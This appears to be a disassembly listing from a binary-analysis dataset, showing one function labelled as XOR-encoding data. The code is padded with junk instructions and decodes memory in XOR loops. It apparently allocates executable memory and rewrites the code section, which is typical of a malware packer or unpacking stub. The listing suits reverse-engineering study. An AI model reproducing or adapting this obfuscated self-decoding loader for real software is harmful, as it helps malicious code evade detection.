Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xeae651fa
sub eax, esi
or esi, esi
popal
inc esi
sub esi, 0x78e9d92d
inc eax
mov ecx, 0
mov edi, edx
mov esi, ebx
add ebx, 0x1bcf2ef9
mov eax, edi
mov ebx, 0xe5e4967f
not ebx
mov edx, eax
mov esi, ebx
mov esi, ebx
inc ecx
sub esi, 0xb4cdacc3
add ebx, ebx
mov ebx, 0x4c19f75b
cmp ecx, 0x1004cc3
jne 0xa789c4
mov ebx, esi
not esi
or esi, ebx
mov esi, eax
mov esi, eax
mov edi, 0xa78796
sub ecx, 1
sub ecx, 0x96970ff6
or ebx, ecx
mov esi, 0xa7898a
add ecx, ebx
add ebx, ebx
sub eax, 0x957411bf
mov edx, dword [edi]
or eax, eax
sub ebx, ecx
and edx, 0xff
mov eax, ebx
and eax, eax
mov ecx, 0xd458f305
xor dword [esi], edx
add ebx, ecx
and eax, ecx
add esi, 1
inc ebx
sub eax, ebx
mov ecx, eax
inc edi
dec ecx
dec ebx
cmp esi, entry0
jl 0xa78a23
dec ecx
mov ecx, 0x597699b
not eax
mov ebx, 0x32eee7a7
mov ecx, ebx
dec ecx
add esi, ecx
mov ebx, 0xa7898e
dec edx
add ecx, ecx
mov ebx, dword [ebx]
add edx, edi
add esi, esi
mov ebx, dword [ebx]
not edi
inc ecx
sub esp, 4
mov dword [esp], ebx
inc edx
sub edi, esi
mov esi, 0x6c627480
mov ebx, 0xa7898a
sub edx, edi
or edx, edx
add edx, edi
mov ebx, dword [ebx]
mov edx, 0x7b87b7be
add ecx, 0x61cfc55
mov ecx, 0x7c232b54
mov ebx, dword [ebx]
sub edi, 0x4b2998e2
sub esi, ecx
and edx, ecx
sub esp, 4
mov dword [esp], 0xa78992
sub edx, 0x331698fd
or esi, edi
sub edx, 0x2a8b537c
call ebx
add esi, 0xa92d059b
add esi, 1
mov ecx, 0xb80470bb
pop ebx
or esi, ecx
mov esi, edx
or ecx, esi
push 0xa7899f
add esi, 1
inc edi
sub esp, 4
mov dword [esp], eax
and edi, esi
mov esi, edx
dec esi
call ebx
or edi, ecx
add esi, esi
sub esi, 0x2b1c1536
sub esp, 4
mov dword [esp], 0x40
dec ecx
mov edx, edi
add ecx, esi
push 0x3000
mov edx, 0x75c34100
or edx, esi
sub esp, 4
mov dword [esp], 0x200001ea
mov esi, 0x6b0d47cc
and ecx, ecx
push 0
add edi, 0x2b91a6b4
add esi, 0x1a4826d
add edi, esi
call eax
add edx, 0x6fb9b883
dec edx
add eax, 0x20000171
dec edi
add edx, esi
sub esi, edx
mov ebx, 0x7f05d658
inc edi
inc esi
mov dword [eax], ebx
or ecx, ecx
not edi
not ecx
mov ebx, dword [eax]
mov edx, 0x9ae6a2c
sub esi, 0x51a8f04
not edx
cmp ebx, 0x7f05d658
je 0xa78b89
mov ebx, 0
mov dl, byte [ebx]
add edi, 0x7e4e6d0b
sub ecx, 0xf1d975c3
add esi, edi
and esi, edx
sub ecx, 0x6af2f649
or edi, ecx
sub eax, 0x82f9d4d
add esi, eax
add esi, 0x9a0ae969
mov edi, section..code
not esi
mov eax, esi
mov ecx, 0xa78795
inc eax
or esi, eax
mov ebx, 0
not eax
mov esi, 0x7a5c0e7b
mov edx, 0xa78796
not eax
inc eax
lea edx, [ebx + edx]
not esi
not eax
mov edx, dword [edx]
not eax
not esi
mov esi, 0x26837475
and edx, 0xff
not eax
and eax, eax
add eax, 0x6d006115
inc ebx
and eax, eax
mov esi, 0x847761af
cmp ebx, 0x1f4
jne 0xa78c0b
mov ebx, 0
mov eax, esi
sub eax, 0xdc509e61
sub eax, 0xa31c09a7
sub eax, 1
and esi, eax
xor dword [edi], edx
mov eax, 0xce74ebb9
sub eax, 0x84501c15
add edi, 2
add esi, 0xfd1c8e0e
not eax
not esi
cmp edi, ecx
jl 0xa78bcc
add esi, 0xaa4f1661
add esi, eax
add esi, eax
or eax, esi
mov edx, section..code
sub esi, 0x664b8bc2
mov ebx, 0x4ae06509
mov edi, section..code
mov esi, 0x91a23966
mov ebx, esi
mov ecx, 0xa78795
or esi, ebx
add ebx, 1
or ebx, esi
mov eax, 0
sub ebx, esi
or esi, esi
mov al, byte [edi]
mov esi, ebx
sub esi, 0x74ff7e25
add esi, 0x180b7e8
mov byte [edx], al
inc esi
add ebx, 0xd1520ef3
mov ebx, esi
add edx, 1
and ebx, ebx
and ebx, ebx
or esi, esi
add edi, 2
add esi, ebx
mov ebx, 0x9f816956
or esi, ebx
cmp edi, ecx
jle 0xa78c86
dec ebx
sub ebx, 0x24e7e07d
add ebx, esi
mov eax, esi
dec eax
push 0x8dc6a0
mov eax, esi
mov eax, esi
or esi, esi
ret